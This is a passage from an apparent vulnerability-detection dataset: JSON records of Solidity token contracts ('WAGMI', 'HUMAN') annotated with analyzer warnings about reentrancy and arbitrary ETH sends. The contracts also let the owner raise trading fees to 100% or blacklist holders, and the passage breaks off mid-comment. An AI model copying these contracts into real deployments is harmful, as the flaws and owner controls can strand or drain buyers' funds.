_approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IDexFactory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\ninterface IDexRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ncontract WAGMI is ERC20, Ownable {\n using SafeMath for uint256;\n\n IDexRouter private immutable dexRouter;\n\n address private immutable dexPair;\n\n bool private swapping;\n\n bool private swapbackEnabled = false;\n\n uint256 private swapBackValueMin;\n\n uint256 private swapBackValueMax;\n\n uint256 private lastContractSell;\n\n bool private limitsEnabled = true;\n\n uint256 private maxWallet;\n\n uint256 private maxTx;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool private tradingEnabled = false;\n\n address private marketingWallet;\n\n uint256 private buyTaxTotal;\n\n uint256 private sellTaxTotal;\n\n uint256 private transferTaxTotal;\n\n mapping(address => bool) private transferTaxExempt;\n\n mapping(address => bool) private transferLimitExempt;\n\n mapping(address => bool) private automatedMarketMakerPairs;\n\n event UpdateUniswapV2Router(\n address indexed newAddress,\n address indexed oldAddress\n );\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event ExcludeFromLimits(address indexed account, bool isExcluded);\n\n event SetPairLPool(address indexed pair, bool indexed value);\n\n event TradingEnabled(uint256 indexed timestamp);\n\n event LimitsRemoved(uint256 indexed timestamp);\n\n event DisabledTransferDelay(uint256 indexed timestamp);\n\n event SwapbackSettingsUpdated(\n bool enabled,\n uint256 swapBackValueMin,\n uint256 swapBackValueMax\n );\n\n event MaxTxUpdated(uint256 maxTx);\n\n event MaxWalletUpdated(uint256 maxWallet);\n\n event MarketingWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event BuyFeeUpdated(\n uint256 buyTaxTotal,\n uint256 buyMarketingTax,\n uint256 buyProjectTax\n );\n\n event SellFeeUpdated(\n uint256 sellTaxTotal,\n uint256 sellMarketingTax,\n uint256 sellProjectTax\n );\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4d61a12): WAGMI.constructor()._totalSupply shadows ERC20._totalSupply (state variable)\n\t// Recommendation for 4d61a12: Rename the local variables that shadow another component.\n constructor() ERC20(\"WAGMI\", \"WAGMI\") {\n IDexRouter _dexRouter = IDexRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n changeNewStatusLimitExempt(address(_dexRouter), true);\n\n dexRouter = _dexRouter;\n\n dexPair = IDexFactory(_dexRouter.factory()).createPair(\n address(this),\n _dexRouter.WETH()\n );\n\n changeNewStatusLimitExempt(address(dexPair), true);\n\n _setPairLPool(address(dexPair), true);\n\n uint256 _totalSupply = 1_000_000_000 * 10 ** decimals();\n\n lastContractSell = block.timestamp;\n\n maxTx = (_totalSupply * 10) / 1000;\n\n maxWallet = (_totalSupply * 10) / 1000;\n\n swapBackValueMin = (_totalSupply * 1) / 1000;\n\n swapBackValueMax = (_totalSupply * 2) / 100;\n\n buyTaxTotal = 25;\n\n sellTaxTotal = 30;\n\n transferTaxTotal = 0;\n\n marketingWallet = address(0xcd45E5b8F7768bc5bA69a4dA52aFC737aA40077b);\n\n changeNewStatusFeeExempt(msg.sender, true);\n\n changeNewStatusFeeExempt(address(this), true);\n\n changeNewStatusFeeExempt(address(0xdead), true);\n\n changeNewStatusFeeExempt(marketingWallet, true);\n\n changeNewStatusLimitExempt(msg.sender, true);\n\n changeNewStatusLimitExempt(address(this), true);\n\n changeNewStatusLimitExempt(address(0xdead), true);\n\n changeNewStatusLimitExempt(marketingWallet, true);\n\n transferOwnership(msg.sender);\n\n _mint(msg.sender, _totalSupply);\n }\n\n receive() external payable {}\n\n function openTrading() external onlyOwner {\n tradingEnabled = true;\n\n swapbackEnabled = true;\n\n emit TradingEnabled(block.timestamp);\n }\n\n function removeLimitsNow() external onlyOwner {\n limitsEnabled = false;\n\n transferTaxTotal = 0;\n\n emit LimitsRemoved(block.timestamp);\n }\n\n function changeNewSwapbackValues(\n bool _caSBcEnabled,\n uint256 _caSBcTrigger,\n uint256 _caSBcLimit\n ) external onlyOwner {\n require(\n _caSBcTrigger >= 1,\n \"Swap amount cannot be lower than 0.01% total supply.\"\n );\n\n require(\n _caSBcLimit >= _caSBcTrigger,\n \"maximum amount cant be higher than minimum\"\n );\n\n swapbackEnabled = _caSBcEnabled;\n\n swapBackValueMin = (totalSupply() * _caSBcTrigger) / 10000;\n\n swapBackValueMax = (totalSupply() * _caSBcLimit) / 10000;\n\n emit SwapbackSettingsUpdated(_caSBcEnabled, _caSBcTrigger, _caSBcLimit);\n }\n\n function changeNewMaxTxLimit(uint256 _maxTx) external onlyOwner {\n require(_maxTx >= 2, \"Cannot set maxTx lower than 0.2%\");\n\n maxTx = (_maxTx * totalSupply()) / 1000;\n\n emit MaxTxUpdated(maxTx);\n }\n\n function changeNewMaxWalletLimit(uint256 _maxWallet) external onlyOwner {\n require(_maxWallet >= 5, \"Cannot set maxWallet lower than 0.5%\");\n\n maxWallet = (_maxWallet * totalSupply()) / 1000;\n\n emit MaxWalletUpdated(maxWallet);\n }\n\n function changeNewStatusLimitExempt(\n address _add,\n bool _excluded\n ) public onlyOwner {\n transferLimitExempt[_add] = _excluded;\n\n emit ExcludeFromLimits(_add, _excluded);\n }\n\n function changeNewBuyFee(uint256 _value) external onlyOwner {\n buyTaxTotal = _value;\n\n require(buyTaxTotal <= 100, \"Total buy fee cannot be higher than 100%\");\n\n emit BuyFeeUpdated(buyTaxTotal, buyTaxTotal, buyTaxTotal);\n }\n\n function changeNewSellFee(uint256 _value) external onlyOwner {\n sellTaxTotal = _value;\n\n require(\n sellTaxTotal <= 100,\n \"Total sell fee cannot be higher than 100%\"\n );\n\n emit SellFeeUpdated(sellTaxTotal, sellTaxTotal, sellTaxTotal);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d770074): WAGMI.changeNewTransferFee(uint256) should emit an event for transferTaxTotal = _value \n\t// Recommendation for d770074: Emit an event for critical parameter changes.\n function changeNewTransferFee(uint256 _value) external onlyOwner {\n\t\t// events-maths | ID: d770074\n transferTaxTotal = _value;\n\n require(\n transferTaxTotal <= 100,\n \"Total transfer fee cannot be higher than 100%\"\n );\n }\n\n function changeNewStatusFeeExempt(\n address _add,\n bool _excluded\n ) public onlyOwner {\n transferTaxExempt[_add] = _excluded;\n\n emit ExcludeFromFees(_add, _excluded);\n }\n\n function _setPairLPool(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetPairLPool(pair, value);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 41c3841): WAGMI.changeNewMarketingWallet(address)._marketing lacks a zerocheck on \t marketingWallet = _marketing\n\t// Recommendation for 41c3841: Check that the address is not zero.\n function changeNewMarketingWallet(address _marketing) external onlyOwner {\n emit MarketingWalletUpdated(_marketing, marketingWallet);\n\n\t\t// missing-zero-check | ID: 41c3841\n marketingWallet = _marketing;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 1838fad): WAGMI.anti should be constant \n\t// Recommendation for 1838fad: Add the 'constant' attribute to state variables that never change.\n bool anti = true;\n\n function checkInfoSwapback()\n external\n view\n returns (\n bool _swapbackEnabled,\n uint256 _caSBcackValueMin,\n uint256 _caSBcackValueMax\n )\n {\n _swapbackEnabled = swapbackEnabled;\n\n _caSBcackValueMin = swapBackValueMin;\n\n _caSBcackValueMax = swapBackValueMax;\n }\n\n function checkInfoLimits()\n external\n view\n returns (bool _limitsEnabled, uint256 _maxWallet, uint256 _maxTx)\n {\n _limitsEnabled = limitsEnabled;\n\n _maxWallet = maxWallet;\n\n _maxTx = maxTx;\n }\n\n function checkInfoReceiver()\n external\n view\n returns (address _marketingWallet)\n {\n return (marketingWallet);\n }\n\n function checkInfoTaxes()\n external\n view\n returns (\n uint256 _buyTaxTotal,\n uint256 _sellTaxTotal,\n uint256 _transferTaxTotal\n )\n {\n _buyTaxTotal = buyTaxTotal;\n\n _sellTaxTotal = sellTaxTotal;\n\n _transferTaxTotal = transferTaxTotal;\n }\n\n function checkInfoAddress(\n address _target\n )\n external\n view\n returns (\n bool _transferTaxExempt,\n bool _transferLimitExempt,\n bool _automatedMarketMakerPairs\n )\n {\n _transferTaxExempt = transferTaxExempt[_target];\n\n _transferLimitExempt = transferLimitExempt[_target];\n\n _automatedMarketMakerPairs = automatedMarketMakerPairs[_target];\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: c482121): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for c482121: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5c2364a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5c2364a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2393e41): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2393e41: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n if (limitsEnabled) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!tradingEnabled) {\n require(\n transferTaxExempt[from] || transferTaxExempt[to],\n \"_transfer:: Trading is not active.\"\n );\n }\n\n if (\n automatedMarketMakerPairs[from] && !transferLimitExempt[to]\n ) {\n require(\n amount <= maxTx,\n \"Buy transfer amount exceeds the maxTx.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] && !transferLimitExempt[from]\n ) {\n require(\n amount <= maxTx,\n \"Sell transfer amount exceeds the maxTx.\"\n );\n } else if (!transferLimitExempt[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapBackValueMin;\n\n if (\n\t\t\t// timestamp | ID: c482121\n canSwap &&\n swapbackEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !transferTaxExempt[from] &&\n !transferTaxExempt[to] &&\n lastContractSell != block.timestamp\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 5c2364a\n\t\t\t// reentrancy-eth | ID: 2393e41\n swapBack(amount);\n\n\t\t\t// reentrancy-eth | ID: 2393e41\n lastContractSell = block.timestamp;\n\n\t\t\t// reentrancy-eth | ID: 2393e41\n swapping = false;\n }\n\n bool takeFee = !swapping;\n\n if (transferTaxExempt[from] || transferTaxExempt[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to] && sellTaxTotal > 0) {\n fees = amount.mul(sellTaxTotal).div(100);\n } else if (automatedMarketMakerPairs[from] && buyTaxTotal > 0) {\n fees = amount.mul(buyTaxTotal).div(100);\n } else if (\n transferTaxTotal > 0 &&\n !automatedMarketMakerPairs[from] &&\n !automatedMarketMakerPairs[to]\n ) {\n fees = amount.mul(transferTaxTotal).div(100);\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: 5c2364a\n\t\t\t\t// reentrancy-eth | ID: 2393e41\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: 5c2364a\n\t\t// reentrancy-eth | ID: 2393e41\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = dexRouter.WETH();\n\n _approve(address(this), address(dexRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: 5c2364a\n\t\t// reentrancy-eth | ID: 2393e41\n dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function swapBack(uint256 amount) private {\n uint256 contractBalance = balanceOf(address(this));\n\n bool success;\n\n if (contractBalance == 0) {\n return;\n }\n\n if (contractBalance > swapBackValueMax) {\n contractBalance = swapBackValueMax;\n }\n\n if (anti && contractBalance > amount * 10) {\n contractBalance = amount * 10;\n }\n\n uint256 amountToSwapForETH = contractBalance;\n\n swapTokensForEth(amountToSwapForETH);\n\n\t\t// reentrancy-events | ID: 5c2364a\n\t\t// reentrancy-eth | ID: 2393e41\n (success, ) = address(marketingWallet).call{\n value: address(this).balance\n }(\"\");\n }\n}\n",
"file_name": "solidity_code_1081.sol",
"size_bytes": 27110,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract HUMAN is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: acf0ed2): HUMAN._taxWallet should be immutable \n\t// Recommendation for acf0ed2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3ab27b5): HUMAN._initialBuyTax should be constant \n\t// Recommendation for 3ab27b5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9a3f2c5): HUMAN._initialSellTax should be constant \n\t// Recommendation for 9a3f2c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 18;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 918c0be): HUMAN._reduceBuyTaxAt should be constant \n\t// Recommendation for 918c0be: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 63d6fb3): HUMAN._reduceSellTaxAt should be constant \n\t// Recommendation for 63d6fb3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 888a2e7): HUMAN._preventSwapBefore should be constant \n\t// Recommendation for 888a2e7: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"AI Killer\";\n\n string private constant _symbol = unicode\"HUMAN\";\n\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 499b337): HUMAN._taxSwapThreshold should be constant \n\t// Recommendation for 499b337: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f2fab3c): HUMAN._maxTaxSwap should be constant \n\t// Recommendation for f2fab3c: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4200000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f4eab5d): HUMAN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f4eab5d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: db9e909): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for db9e909: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bb4d781): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bb4d781: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: db9e909\n\t\t// reentrancy-benign | ID: bb4d781\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: db9e909\n\t\t// reentrancy-benign | ID: bb4d781\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f4b38a7): HUMAN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f4b38a7: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: bb4d781\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: db9e909\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a91bc21): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a91bc21: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bd9a8b4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bd9a8b4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: a91bc21\n\t\t\t\t// reentrancy-eth | ID: bd9a8b4\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: a91bc21\n\t\t\t\t\t// reentrancy-eth | ID: bd9a8b4\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: bd9a8b4\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: bd9a8b4\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: bd9a8b4\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: a91bc21\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: bd9a8b4\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: bd9a8b4\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: a91bc21\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: db9e909\n\t\t// reentrancy-events | ID: a91bc21\n\t\t// reentrancy-benign | ID: bb4d781\n\t\t// reentrancy-eth | ID: bd9a8b4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 20d150f): HUMAN.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 20d150f: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: db9e909\n\t\t// reentrancy-events | ID: a91bc21\n\t\t// reentrancy-eth | ID: bd9a8b4\n\t\t// arbitrary-send-eth | ID: 20d150f\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e9fef0e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double 